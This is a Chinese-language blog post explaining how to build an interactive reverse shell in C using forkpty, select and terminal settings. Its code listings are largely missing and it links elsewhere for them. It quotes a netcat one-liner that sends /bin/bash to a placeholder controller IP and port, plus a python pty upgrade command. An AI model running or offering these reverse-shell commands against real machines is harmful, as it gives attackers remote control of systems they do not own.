写一个可交互的反弹 Shell
2022-05-02 #linux在网上能看到一堆的反弹 Shell 方法,最常见的就是先用 nc -e /bin/bash $控制机IP $控制机端口
弹出一个 Shell,然后再用 python3 -c 'import pty; pty.spawn("/bin/bash")'
这样来升级成交互式 Shell。这样的话得保证环境里有 nc + python,或者得在被控机上下载多个文件。这样的话,还不如直接自己写一个 Shell 呢 233。
“可交互 Shell” 的原理
现在常见的“终端模拟器”,例如 KDE 的 Konsole, MACos 上的 iterm,服务器上的 SSH,都是使用 "pty" 来实现的。而我们反弹的 Shell 则不一样,所以无法交互。
而 pty 则是模拟终端的设备。平时使用的终端模拟器是和 pty master 进行沟通,而里面的 shell 是和 pty slave 进行沟通,两者通过 pty 进行沟通。
终端模拟器 <=> | pty master | pty | pty slave | <=> shell
所以我们的实现也很简单,通过 socket 将被控端的 master 和控制端连接起来就好了。
终端模拟器 <=> 控制端 <=(socket 通信)=> 被控端 <=> | pty master | pty | pty slave | <=> shell
代码实现
首先是导入相关文件,"pty.h" 包含 pty 相关函数的定义,而 "select.h" 则是用来处理异步通信的。
被控端代码很简单,通过传入的 host
和 port
创建 socket 连接,然后通过 forkpty
创建 pty,在父进程中进行 socket 和子进程中的通信。
需要注意的是 forkpty
函数,在 FreeBSD 的 man
手册的说明如下
The forkpty() function combines openpty(), fork(2), and login_tty() to create a new
process operating in a pseudoterminal. A file descriptor referring to master side of the
pseudoterminal is returned in amaster. If name is not NULL, the buffer it points to is
used to return the filename of the slave. The termp and winp arguments, if not NULL, will
determine the terminal attributes and window size of the slave side of the pseudoterminal.
简单翻译就是创建一对 pty,并且 fork 出子进程,然后将 master fd 和 pty 连接起来,将子进程的输入和输出和 slave fd 连接起来。这样的话,父进程只要通过 master fd 就可以和处于 pty slave 处的子进程进行沟通。
int
下面的代码则是在两个 fd 之间互相复制内容。通过 select
函数判断哪个 fd 可读,然后将可读 fd 里的内容输出到另一个 fd 里。
static int
而控制端的代码看起来会比较奇怪。首先是打开了 /proc/self/fd/0
,可以看到这是指向了 /dev/pts/1
,即打开当前的 pty。
然后是终端的设置。对 c_lflag
本地模式进行设置,设置为不回显,uncanonical mode。然后是对 c_cc
特殊字符设置不处理 ”^C / ^Z / ^\“。
最后就是创建 socket 连接,复制数据(和被控端类似,区别请见末尾的文件)。当复制结束时则恢复回原本的终端设置。
int
可以看到,很少的代码就能创建一个交互式反弹 Shell,还能复习 UNIX 知识。
完整代码在这:https://github.com/chenx6/gadget/tree/master/rev_pty
Refs
- 基于原本的项目,魔改了下,兼容 Python3 https://github.com/chenx6/python-pty-shells
- pseudo-terminal 基础一
- linux select函数解析以及事例